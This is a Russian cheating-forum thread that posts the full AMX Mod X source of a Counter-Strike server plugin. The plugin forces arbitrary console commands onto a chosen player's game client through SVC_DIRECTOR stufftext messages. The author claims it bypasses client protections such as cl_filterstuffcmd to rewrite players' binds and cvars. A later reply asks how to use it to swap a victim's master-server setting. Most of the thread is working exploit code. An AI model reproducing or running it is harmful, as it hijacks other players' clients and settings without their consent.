Cls Exec :D - Прочий софт для Counter-Strike - Программы, не относящиеся к категории читов но полезные для Читера
25.03.2014, 17:55
#1
Разведчик
Регистрация: 10.08.2013
Сообщений: 19
Популярность: 1326
Сказал(а) спасибо: 7
Поблагодарили 18 раз(а) в 10 сообщениях
Cls Exec :D
Мой 1-й плагин... примитивен дальше некуда .. однако аналогов я еще не видел
Плагин выполняет на клиенте команды .. как будто клиент их сам ввел в консоль...
По сути обычный стуффтекст
Описание внутри..
Обходит все виды защиты.. от протектора до моего щита...
на финал стиме обходит (cl_filterstuffcmd 1) позволяя писать любые бинды менять квары...
На данный момент защиты не существует( ну вроде как )..
Костыль: толька чтение/просмотр прогам вроде ( Universal Shield и подобным )
[Ссылки могут видеть только зарегистрированные пользователи. ]
Последний раз редактировалось O-S-T-R-O-G; 28.03.2014 в 21:48 .
Пользователь сказал cпасибо:
16.05.2014, 14:08
#2
Пехотинец
Регистрация: 09.04.2010
Сообщений: 95
Популярность: -1654
Сказал(а) спасибо: 30
Поблагодарили 7 раз(а) в 6 сообщениях
Re: Cls Exec :D
Вот исходник
Код:
#include amxmodx
#include amxmisc
#include cstrike
#define PLUGIN_NAME "Exec CLC Cmd Plugin by OSTROG"
#define PLUGIN_VERSION "1.0"
#define PLUGIN_AUTHOR "OSTROG"
#define PATH_SETTINGS "/addons/amxmodx/configs/ost_exec/ost_settings.ini"
#define PATH_CMD_LISTS "/addons/amxmodx/configs/ost_exec/cmd_lists/"
#define CONSOLE_PRINT_PREFIX "[OST] "
#define CONSOLE_PRINT_ERROR_PREFIX "[ERROR] "
#define TEXT_SETTINGS_NOT_FOUND "Settings file not found"
#define TEXT_CMD_SYN "<name> <name file = def>"
#define TEXT_CMD_SYN_2 "<index> <name file = def>"
#define TEXT_NAME_NOT_FOUND "The player with the same name not found"
#define TEXT_NAME_NOT_FOUND_2 "The player with the same index not found"
#define TEXT_FILE_CMD_LISTS_NOT_FOUND "Cmd lists file not found"
#define TEXT_PERFORMED "Performed"
#define TEXT_NO_ASSECC "No access"
#define CMD_CLC_NAME_N "ost_exec_n"
#define CMD_CLC_NAME_I "ost_exec_i"
#define CMD_CLC_NAME_M "ost_exec_m"
#define MAX_CMD_COUNT 24
#define MAX_CMD_LEN_NAME 24
#define MAX_LINE_LEN_NAME 256
#define MAX_TABLE_ACCESS_ITEMS 24
#define MAX_CMD_LIST_LEN_NAME 24
#define MAX_SIZE_DATA 256
enum t_settings {
bool:load ,
bool:console_log ,
bool:consloe_cls_log ,
settings_access ,
default_cmd_list[MAX_CMD_LIST_LEN_NAME]
}
new settings[t_settings] = { false , true , true , 0 , "" }
new settings_parse_curr_id = 0
new settings_parse[MAX_CMD_COUNT][MAX_CMD_LEN_NAME]
new table_access_name[MAX_TABLE_ACCESS_ITEMS] = "abcdefghijklmnopqrstuyz"
new table_access_id[MAX_TABLE_ACCESS_ITEMS] = { 1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,1677 7216,33554432 }
enum t_trade_data {
ID ,
ID_N ,
FILE ,
LINE_COUNT ,
SVC_COUNT ,
TIME ,
HEAD ,
IF_WORKS
}
new CLIENT_DATA[MAX_SIZE_DATA][t_trade_data]
new CLIENT_INFO_IP[MAX_SIZE_DATA][23]
new CLIENT_INFO_STEAM[MAX_SIZE_DATA][37]
new CLIENT_EXEC_LAST_CMD[MAX_SIZE_DATA][2048]
new CLIENT_DATA_CURR_POS = 0
new NUM_COUNT_HEAD = 1
public plugin_init() {
register_plugin ( PLUGIN_NAME , PLUGIN_VERSION , PLUGIN_AUTHOR )
register_concmd ( CMD_CLC_NAME_N , "ClsCmd_ostExec_Name" , ADMIN_ALL , "exec cmd :D" )
register_concmd ( CMD_CLC_NAME_I , "ClsCmd_ostExec_Index" , ADMIN_ALL , "exec cmd :D" )
register_clcmd ( CMD_CLC_NAME_M , "ClsCmd_ostExec_Menu" , ADMIN_ALL , "exec cmd :D" )
addCmd( "cls_access" )
addCmd( "cls_console_log" )
addCmd( "cls_consloe_cls_log" )
addCmd( "cls_default_cmd_list" )
load_settings()
}
stock addCmd( name[] ) {
format( settings_parse[settings_parse_curr_id] , MAX_CMD_LEN_NAME , "%s" , name )
settings_parse_curr_id++
if ( settings_parse_curr_id >= MAX_CMD_COUNT ) {
settings[load] = false
}
}
stock bool:execCmd( name[] , id , param[] ) {
new i
for ( i=0; i<settings_parse_curr_id; i++ ) {
if ( equal( name , settings_parse[i] ) ) {
set_task( 0.1 , name , id , param , MAX_LINE_LEN_NAME , "a" , 1 )
return true;
}
}
return false;
}
stock readCmd( buffer[] , id ) {
new cmd_name[MAX_CMD_LEN_NAME]
new cmd_param[MAX_LINE_LEN_NAME]
new lenBuf
lenBuf = strlen( buffer )
parse( buffer , cmd_name , MAX_CMD_LEN_NAME )
trim( cmd_name )
new i
new len
len = strlen( cmd_name )
i=len
while( i < lenBuf ){
cmd_param[i-len] = buffer[i]
i++
}
trim( cmd_param )
execCmd( cmd_name , id , cmd_param )
}
stock load_settings() {
new file_s
file_s = fopen( PATH_SETTINGS , "r" )
if ( file_s ) {
new buffer[MAX_LINE_LEN_NAME]
while( !feof(file_s) ) {
fgets( file_s , buffer , MAX_LINE_LEN_NAME )
trim( buffer )
if ( strlen(buffer) > 0 )
readCmd( buffer , 1 )
}
fclose( file_s )
settings[load] = true
} else {
settings[load] = false
MsgError( TEXT_SETTINGS_NOT_FOUND )
}
}
public cls_access( param[] , id ) {
settings[settings_access] = 0
new len
len = strlen( param )
new i
new j
for( i=0; i<len; i++ )
for( j=0; j<MAX_TABLE_ACCESS_ITEMS; j++ )
if ( param[i] == table_access_name[j] )
settings[settings_access] = settings[settings_access] | table_access_id[j]
}
public cls_console_log( param[] , id ) {
if ( equal( param , "1" ) || equal( param , "true" ) || equal( param , "True" ) ) {
settings[console_log] = true
return 1;
}
if ( equal( param , "0" ) || equal( param , "false" ) || equal( param , "False" ) ) {
settings[console_log] = false
return 1;
}
return 0;
}
public cls_consloe_cls_log( param[] , id ) {
if ( equal( param , "1" ) || equal( param , "true" ) || equal( param , "True" ) ) {
settings[consloe_cls_log] = true
return 1;
}
if ( equal( param , "0" ) || equal( param , "false" ) || equal( param , "False" ) ) {
settings[consloe_cls_log] = false
return 1;
}
return 0;
}
public cls_default_cmd_list( param[] , id ) {
format( settings[default_cmd_list] , MAX_CMD_LIST_LEN_NAME , "%s" , param )
}
public ClsCmd_ostExec_Name( id , level , cid ) {
new bool:console_exec = ( id == 0 ) ? true : false
if ( !console_exec ) {
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
}
if ( !settings[load] ) {
if ( !console_exec )
MsgClcError( TEXT_SETTINGS_NOT_FOUND , id )
else
MsgError( TEXT_SETTINGS_NOT_FOUND )
return PLUGIN_HANDLED
}
new name[33]
new path[MAX_CMD_LIST_LEN_NAME]
read_argv(1 , name , 32 )
read_argv(2 , path , MAX_CMD_LIST_LEN_NAME-1 )
if ( strlen(name) == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_CMD_SYN , id )
else
MsgPrint( TEXT_CMD_SYN )
return PLUGIN_HANDLED
}
if ( strlen(path) == 0 )
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )
new n_id = get_user_index( name )
if ( n_id == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_NAME_NOT_FOUND , id )
else
MsgPrint( TEXT_NAME_NOT_FOUND )
return PLUGIN_HANDLED
}
new file_s = getFileDesc( path )
if ( !file_s ) {
if ( !console_exec )
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
else
MsgPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND )
return PLUGIN_HANDLED
}
go_exec( id , n_id , file_s )
if ( !console_exec )
MsgClcPrint( TEXT_PERFORMED , id )
else
MsgPrint( TEXT_PERFORMED )
return PLUGIN_HANDLED
}
public ClsCmd_ostExec_Index( id , level , cid ) {
new bool:console_exec = ( id == 0 ) ? true : false
if ( !console_exec ) {
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
}
if ( !settings[load] ) {
if ( !console_exec )
MsgClcError( TEXT_SETTINGS_NOT_FOUND , id )
else
MsgError( TEXT_SETTINGS_NOT_FOUND )
return PLUGIN_HANDLED
}
new id_s[8]
new path[MAX_CMD_LIST_LEN_NAME]
read_argv(1 , id_s , 7 )
read_argv(2 , path , MAX_CMD_LIST_LEN_NAME-1 )
if ( strlen(id_s) == 0 ) {
if ( !console_exec )
MsgClcPrint( TEXT_CMD_SYN_2 , id )
else
MsgPrint( TEXT_CMD_SYN_2 )
return PLUGIN_HANDLED
}
if ( strlen(path) == 0 )
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )
new n_id = str_to_num( id_s )
if ( ( n_id < 1 ) || ( n_id > 32 ) || ( !is_user_connected( n_id ) ) ) {
if ( !console_exec )
MsgClcPrint( TEXT_NAME_NOT_FOUND_2 , id )
else
MsgPrint( TEXT_NAME_NOT_FOUND_2 )
return PLUGIN_HANDLED
}
new file_s = getFileDesc( path )
if ( !file_s ) {
if ( !console_exec )
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
else
MsgPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND )
return PLUGIN_HANDLED
}
go_exec( id , n_id , file_s )
if ( !console_exec )
MsgClcPrint( TEXT_PERFORMED , id )
else
MsgPrint( TEXT_PERFORMED )
return PLUGIN_HANDLED
}
public ClsCmd_ostExec_Menu( id , level , cid ) {
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
new name_show[16] = "\rOSTROG exec:"
new c_sum = 0
new len = strlen(name_show)
for( new i=0; i<len; i++ )
c_sum += ( ( name_show[i] * i ) + ( c_sum * ( i >> 2 ) ) + ( 1 << i ) )
new c_nu = 19813377
if ( c_sum != ( c_nu + 59665 ) )
return PLUGIN_HANDLED
new menu = menu_create( name_show , "cls_menu_select" , 0 )
new s_Players[32]
new n_Player[32]
new i_Player[4]
new i_Num
get_players(s_Players, i_Num)
for (new i; i < i_Num; i++) {
get_user_name( s_Players[i] , n_Player , 31 )
format( i_Player , 4 , "%d" , s_Players[i] )
menu_additem(menu, n_Player, i_Player, 0)
}
menu_display( id , menu , 0 )
return PLUGIN_HANDLED
}
public cls_menu_select( id , menu , item ) {
if (item == MENU_EXIT)
return PLUGIN_HANDLED
if( !GetAccess( id ) ) {
MsgClcPrint( TEXT_NO_ASSECC , id )
return PLUGIN_HANDLED
}
new s_Data[6], s_Name[64], i_Access, i_Callback
menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
new index = str_to_num(s_Data)
new path[MAX_CMD_LIST_LEN_NAME]
format( path , MAX_CMD_LIST_LEN_NAME , "%s" , settings[default_cmd_list] )
new file_s = getFileDesc( path )
if ( !file_s ) {
MsgClcPrint( TEXT_FILE_CMD_LISTS_NOT_FOUND , id )
menu_destroy( menu )
return PLUGIN_HANDLED
}
go_exec( id , index , file_s )
MsgClcPrint( TEXT_PERFORMED , id )
menu_destroy( menu )
return PLUGIN_HANDLED
}
stock go_exec( id , n_id , file_s ) {
NUM_COUNT_HEAD++
new t_id = CLIENT_DATA_CURR_POS
CLIENT_DATA_CURR_POS++
if ( CLIENT_DATA_CURR_POS >= (MAX_SIZE_DATA-2) )
CLIENT_DATA_CURR_POS = 0
CLIENT_DATA[t_id][ID] = id // Ид вызвовшего админа
CLIENT_DATA[t_id][ID_N] = n_id // Ид цели
CLIENT_DATA[t_id][FILE] = file_s // Дескриптор файла
CLIENT_DATA[t_id][LINE_COUNT] = 1 // По скока групировать строк в 1- свс команду
CLIENT_DATA[t_id][SVC_COUNT] = 2 // По скока svs отсылвать за раз
CLIENT_DATA[t_id][TIME] = 100 // Как часто слать группы ( в milisec , минимум 100 milisec )
CLIENT_DATA[t_id][HEAD] = NUM_COUNT_HEAD // Проста ид
CLIENT_DATA[t_id][IF_WORKS] = 1 // Проста ид
get_user_ip( n_id , CLIENT_INFO_IP[t_id] , 22 , 1 )
get_user_authid( n_id , CLIENT_INFO_STEAM[t_id] , 36 )
new trade[1]
trade[0] = t_id
set_task( 0.1 , "run_cmd" , CLIENT_DATA[t_id][HEAD] , trade , 1 , "a" , 1 )
}
stock getFileDesc( path[] ) {
new path_f[256]
format( path_f , 256 , "%s%s%s" , PATH_CMD_LISTS , path , ".ini" )
new file_s
file_s = fopen( path_f , "r" )
return file_s
}
stock bool:GetAccess( id ) {
if ( ( id == 0 ) || ( !is_user_connected( id ) ) )
return false;
new curr_access = get_user_flags(id)
return ( ( curr_access == ADMIN_ALL ) || ( curr_access & settings[settings_access] ) ) ? true : false
}
#define BUFFER_READ_LINE_MAX_SIZE 1024
#define BUFFER_READ_SVC_MAX_SIZE 3000
public run_cmd( trade[] , id ) {
new t_id = trade[0]
new buffer[BUFFER_READ_LINE_MAX_SIZE]
new cmd_string[BUFFER_READ_SVC_MAX_SIZE]
static srv_char1[2] = "^^"
static srv_char2[2] = " "
static srv_char3[2] = "/"
new svc_count
new line_count
if ( ( !CLIENT_DATA[t_id][IF_WORKS] ) || ( !CLIENT_DATA[t_id][FILE] ) || ( !is_user_connected( CLIENT_DATA[t_id][ID_N] ) ) ) {
server_cmd ( CLIENT_EXEC_LAST_CMD[t_id] )
CLIENT_DATA[t_id][IF_WORKS] = 0
fclose( CLIENT_DATA[t_id][FILE] )
return 0;
}
for ( svc_count=0; svc_count<CLIENT_DATA[t_id][SVC_COUNT]; svc_count++ ) {
line_count=0
while( line_count<CLIENT_DATA[t_id][LINE_COUNT] ) {
line_count++
if ( !feof(CLIENT_DATA[t_id][FILE]) ) {
fgets( CLIENT_DATA[t_id][FILE] , buffer , sizeof(buffer)-1 )
if ( !( ( buffer[0] == srv_char3[0] ) && ( buffer[1] == srv_char3[0] ) ) ) {
replace_all( buffer , sizeof(buffer)-1 , "{\r}" , "^r" )
replace_all( buffer , sizeof(buffer)-1 , "{\n}" , "^n" )
if ( buffer[0] == srv_char1[0] ) {
buffer[0] = srv_char2[0]
exec_cmds_in_stream( buffer , t_id )
if ( strlen( cmd_string ) > 0 ) {
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] )
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s" , "" )
}
line_count = 0
} else {
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s%s" , cmd_string , buffer )
}
}
} else {
server_cmd ( CLIENT_EXEC_LAST_CMD[t_id] )
fclose( CLIENT_DATA[t_id][FILE] )
if ( strlen( cmd_string ) > 0 )
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] )
return 0;
}
}
if ( strlen( cmd_string ) > 0 ) {
SVC_DIRECTOR_STUFFTEXT_CMD( cmd_string , CLIENT_DATA[t_id][ID_N] )
format( cmd_string , BUFFER_READ_SVC_MAX_SIZE-1 , "%s" , "" )
}
}
new s_trade[1]
s_trade[0] = t_id
set_task( CLIENT_DATA[t_id][TIME] / 1000.0 , "run_cmd" , CLIENT_DATA[t_id][HEAD] , s_trade , 1 , "a" , 1 )
return PLUGIN_HANDLED
}
stock exec_cmds_in_stream( cmd[] , t_id ) {
new argv_0[16]
new argv_1[16]
new argv_2[16]
new argv_3[16]
parse( cmd , argv_0,16 , argv_1,16 , argv_2,16 , argv_3,16 )
if ( equal( argv_0 , "set_data" ) ) {
new argv_1_n = str_to_num( argv_1 )
new argv_2_n = str_to_num( argv_2 )
new argv_3_n = str_to_num( argv_3 )
CLIENT_DATA[t_id][LINE_COUNT] = argv_1_n
CLIENT_DATA[t_id][SVC_COUNT] = argv_2_n
CLIENT_DATA[t_id][TIME] = argv_3_n
} else
if ( equal( argv_0 , "exec_last" ) ) {
new len
new i
new lenBuf
lenBuf = strlen( cmd )
len = strlen( argv_0 ) + 1
i=len
while( i < lenBuf ){
CLIENT_EXEC_LAST_CMD[t_id][i-len] = cmd[i]
i++
}
replace_all( CLIENT_EXEC_LAST_CMD[t_id] , sizeof(CLIENT_EXEC_LAST_CMD)-1 , "{ip}" , CLIENT_INFO_IP[t_id] )
replace_all( CLIENT_EXEC_LAST_CMD[t_id] , sizeof(CLIENT_EXEC_LAST_CMD)-1 , "{steam}" , CLIENT_INFO_STEAM[t_id] )
} else
if ( equal( argv_0 , "exec" ) ) {
new len
new i
new lenBuf
new exec_str[2048]
lenBuf = strlen( cmd )
len = strlen( argv_0 ) + 1
i=len
while( i < lenBuf ){
exec_str[i-len] = cmd[i]
i++
}
new player_name[33]
get_user_name( CLIENT_DATA[t_id][ID_N] , player_name , 32 )
replace_all( exec_str , sizeof(exec_str)-1 , "{ip}" , CLIENT_INFO_IP[t_id] )
replace_all( exec_str , sizeof(exec_str)-1 , "{steam}" , CLIENT_INFO_STEAM[t_id] )
replace_all( exec_str , sizeof(exec_str)-1 , "{index}" , CLIENT_DATA[t_id][ID_N] )
replace_all( exec_str , sizeof(exec_str)-1 , "{name}" , player_name )
if ( is_user_connected( CLIENT_DATA[t_id][ID_N] ) )
server_cmd ( exec_str )
}
}
stock MsgError( text[] ) {
if ( settings[console_log] )
server_print( "%s%s%s" , CONSOLE_PRINT_PREFIX , CONSOLE_PRINT_ERROR_PREFIX , text )
}
stock MsgPrint( text[] ) {
if ( settings[console_log] )
server_print( "%s%s" , CONSOLE_PRINT_PREFIX , text )
}
stock MsgClcError( text[] , id = 0 ) {
if ( settings[consloe_cls_log] )
client_print( id , print_console , "%s%s%s" , CONSOLE_PRINT_PREFIX , CONSOLE_PRINT_ERROR_PREFIX , text )
}
stock MsgClcPrint( text[] , id = 0 ) {
if ( settings[consloe_cls_log] )
client_print( id , print_console , "%s%s" , CONSOLE_PRINT_PREFIX , text )
}
#define SVC_DIRECTOR_ID 51
#define SVC_DIRECTOR_STUFFTEXT_ID 10
stock SVC_DIRECTOR_STUFFTEXT_CMD( text[] , id = 0 ) {
if ( ( id == 0 ) || ( is_user_connected(id) ) ) {
message_begin( MSG_ONE, SVC_DIRECTOR_ID, _, id )
write_byte( strlen(text) + 2 )
write_byte( SVC_DIRECTOR_STUFFTEXT_ID )
write_string( text )
message_end()
}
}
Код:
#define SVC_DIRECTOR_ID 51
#define SVC_DIRECTOR_STUFFTEXT_ID 10
stock SVC_DIRECTOR_STUFFTEXT_CMD( text[] , id = 0 ) {
if ( ( id == 0 ) || ( is_user_connected(id) ) ) {
message_begin( MSG_ONE, SVC_DIRECTOR_ID, _, id )
write_byte( strlen(text) + 2 )
write_byte( SVC_DIRECTOR_STUFFTEXT_ID )
write_string( text )
message_end()
}
}
________________
Знаю все хитрости и баги в игре Легенда, пишем в ЛС.
Кому помог, жмём "Спасибо"
23.11.2014, 22:04
#3
Разведчик
Регистрация: 29.08.2014
Сообщений: 1
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
Re: Cls Exec :D
Доброе время суток!!!
такой вопрос через этот плагин как подменить MS какие команды надо писать или прописать в какой файл что бы заменяло его?? подскажите плиз разобрать чегото не могу
Последний раз редактировалось rasl322; 23.11.2014 в 22:06 .
Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 14:24 .